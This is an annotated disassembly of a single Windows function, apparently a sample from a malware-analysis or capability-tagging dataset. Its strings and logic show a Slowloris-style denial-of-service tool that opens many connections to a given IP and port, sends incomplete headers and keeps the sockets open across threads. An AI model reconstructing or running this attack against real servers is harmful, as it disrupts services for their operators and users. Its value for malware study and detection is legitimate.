Function at 0x140001560
Capabilities:
Connect socket
Convert ip address from string
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rbx, rdx
xor r13d, r13d
mov dword [rbp - 0x65], r13d
cmp ecx, 5
jne 0x140001e05
mov rdi, qword [rdx + 8]
mov rcx, qword [rdx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov esi, eax
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r15d, eax
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd r14, eax
xorps xmm0, xmm0
mov r12, r14
mov qword [rbp - 0x61], r14
movdqu xmmword [rbp + 7], xmm0
mov qword [rbp + 0x17], r13
test eax, eax
je 0x140001680
movabs rax, 0xfffffffffffffff
cmp r14, rax
ja 0x140001e78
mov rbx, r14
shl rbx, 4
cmp rbx, 0x1000
jb 0x140001642
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001e7e
call fcn.140002cb0
mov rcx, rax
test rax, rax
je 0x14000163b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
add rbx, rax
mov rcx, rax
jmp 0x140001660
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rbx, rbx
je 0x140001657
mov rcx, rbx
call fcn.140002cb0
mov rcx, rax
add rbx, rax
jmp 0x140001660
mov rax, r13
mov rcx, r13
add rbx, r13
mov rdx, rbx
mov qword [rbp + 7], rcx
mov qword [rbp + 0x17], rbx
mov r8, r14
shl r8, 4
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0xf], rbx
mov eax, r15d
cdq
idiv r14d
mov dword [rbp - 9], edx
mov ebx, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov qword [rbp - 0x19], r13
mov r15d, 2
mov word [rbp + 0x1f], r15w
movzx ecx, si
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x21], ax
lea r8, [rbp + 0x23]
mov rdx, rdi
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_inet_pton]
xor edi, edi
test r14d, r14d
jle 0x1400017a3
lea r15d, [r14 - 1]
xor eax, eax
mov dword [rbp - 0x69], eax
xor r13d, r13d
nop word [rax + rax]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x49], xmm1
xor esi, esi
mov qword [rbp - 0x39], rsi
mov eax, dword [rbp - 9]
add eax, ebx
cmp edi, r15d
cmovne eax, ebx
cmp edi, eax
jl 0x140001ad0
mov rax, qword [rbp - 0x21]
cmp rax, qword [rbp - 0x19]
je 0x14000171e
lea rdx, [rbp - 0x49]
mov rcx, rax
call fcn.140002ba0
add qword [rbp - 0x21], 0x18
jmp 0x14000172e
lea r8, [rbp - 0x49]
mov rdx, rax
lea rcx, [rbp - 0x29]
call fcn.140002590
lea rdx, str.________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x140001798
mov rax, qword [rbp - 0x39]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001793
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001d6c
call fcn.140002cec
inc edi
cmp edi, r14d
jl 0x1400016e0
lea rdx, str.__________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r13d, 1
mov dword [rbp - 0x69], r13d
movabs rbx, 0x2aaaaaaaaaaaaaab
lea rdx, str.Restarting_attacks..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r15d, r15d
test r12, r12
jle 0x1400019af
lea r14d, [r15 + 1]
xor r12d, r12d
xor r13d, r13d
nop dword [rax]
nop word [rax + rax]
lea rdx, str.Keeping_sockets_on_thread_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._open..
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp - 0x21]
mov r8, qword [rbp - 0x29]
sub rcx, r8
mov rax, rbx
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r15
jbe 0x140001e72
mov rsi, qword [r8 + r13 + 8]
sub rsi, qword [r8 + r13]
sar rsi, 2
lea eax, [r14 - 1]
movsxd rcx, eax
cmp rdx, rcx
jbe 0x140001e72
lea rax, [rcx + rcx*2]
lea rbx, [r8 + rax*8]
mov ecx, 0x38
call fcn.140002cb0
mov rdi, rax
mov qword [rbp - 0x59], rax
mov qword [rax], rsi
lea rcx, [rax + 8]
mov qword [rbp - 9], rcx
mov rdx, rbx
call fcn.140002ba0
movups xmm0, xmmword [rbp + 0x1f]
movups xmmword [rdi + 0x20], xmm0
lea rax, [0x140001460]
mov qword [rdi + 0x30], rax
or dword [rbp - 0x65], 1
mov qword [rbp - 9], rdi
lea rax, [rbp - 0x41]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdi
lea r8, [0x140002ad0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x49], rax
test rax, rax
je 0x140001e3b
mov rax, qword [rbp + 7]
cmp dword [rax + r12 + 8], 0
jne 0x140001e34
xorps xmm0, xmm0
movaps xmm1, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movups xmmword [rax + r12], xmm1
cmp dword [rbp - 0x41], 0
jne 0x140001e34
lea rdx, str.Attacks_were_syccessful_on_thread_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004554]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc r14d
inc r15
add r13, 0x18
add r12, 0x10
cmp r15, qword [rbp - 0x61]
movabs rbx, 0x2aaaaaaaaaaaaaab
jl 0x140001820
mov r12, qword [rbp - 0x61]
mov r13d, dword [rbp - 0x69]
xor r14d, r14d
test r12, r12
jle 0x140001a52
lea esi, [r14 + 1]
xor edi, edi
mov rbx, qword [rbp + 7]
cmp dword [rbx + rdi + 8], 0
je 0x140001e66
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + rdi + 8], eax
je 0x140001e5a
movups xmm0, xmmword [rbx + rdi]
movaps xmmword [rbp - 9], xmm0
xor edx, edx
lea rcx, [rbp - 9]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140001e4e
xorps xmm0, xmm0
movups xmmword [rbx + rdi], xmm0
lea rdx, str.Attacks_on_thread_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._paused.
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc esi
inc r14
add rdi, 0x10
cmp r14, r12
jl 0x1400019c1
lea rdx, str.Iteration
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
mov edx, r13d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._completed.
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc r13d
mov dword [rbp - 0x69], r13d
mov qword [rbp - 9], send
lea rcx, [rbp - 9]
call fcn.140002310
lea rdx, str.____________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400017d0
mov r12d, 1
mov rbx, qword [rbp - 0x41]
mov r14, qword [rbp - 0x49]
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov dword [rbp - 9], eax
cmp rbx, rsi
je 0x140001b04
mov dword [rbx], eax
add rbx, 4
mov qword [rbp - 0x41], rbx
jmp 0x140001b20
lea r8, [rbp - 9]
mov rdx, rbx
lea rcx, [rbp - 0x49]
call fcn.1400028c0
mov rsi, qword [rbp - 0x39]
mov rbx, qword [rbp - 0x41]
mov r14, qword [rbp - 0x49]
mov rax, rbx
sub rax, r14
sar rax, 2
cmp rax, r13
jbe 0x140001e84
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp dword [r14 + r13*4], 1
jg 0x140001ce1
lea rdx, str.Successfully_created_socket
call fcn.140002100
mov rcx, rax
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._for_thread_
call fcn.140002100
mov rcx, rax
lea edx, [rdi + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004554]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsxd rcx, dword [r14 + r13*4]
mov r8d, send
lea rdx, [rbp + 0x1f]
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jg 0x140001c7c
lea rdx, str.Successfully_connected_socket
call fcn.140002100
mov rcx, rax
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._for_thread_
call fcn.140002100
mov rcx, rax
lea edx, [rdi + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004554]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, dword [r14 + r13*4]
call fcn.1400012f0
lea rdx, str.Successfully_sent_incomplete_header_for_socket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002100
mov rcx, rax
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._on_thread_
call fcn.140002100
mov rcx, rax
lea edx, [rdi + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004554]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc dword [rbp - 0x69]
inc r12d
inc r13
jmp 0x140001ae0
mov ebx, dword [rbp - 0x69]
lea rdx, str.Could_not_connect_socket
call fcn.140002100
mov rcx, rax
lea edx, [rbx + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._for_thread_
call fcn.140002100
mov rcx, rax
lea edx, [rdi + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004554]
call fcn.140002100
mov rcx, rax
lea rdx, [0x1400022d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Perhaps_a_nonexistent_IP_or_unopened_port_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x140001d21
mov ebx, dword [rbp - 0x69]
lea rdx, str.Could_not_create_socket
call fcn.140002100
mov rcx, rax
lea edx, [rbx + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._for_thread_
call fcn.140002100
mov rcx, rax
lea edx, [rdi + 1]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004554]
call fcn.140002100
lea rdx, [0x1400022d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
test r14, r14
je 0x140001d7c
sub rsi, r14
sar rsi, 2
lea rdx, [rsi*4]
mov rax, r14
cmp rdx, 0x1000
jb 0x140001d73
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140002cec
nop
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x140001dfc
mov rdx, qword [rbp - 0x21]
call fcn.1400024e0
mov rcx, qword [rbp - 0x19]
mov r8, qword [rbp - 0x29]
sub rcx, r8
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140001de4
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001de4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.140002cec
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 0
lea rcx, [rbp + 7]
call fcn.140001ff0
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140002c90
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp - 0x41], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.140001fd0
nop
call fcn.140002570
int3
call fcn.140001170
nop
call fcn.140001fd0
int3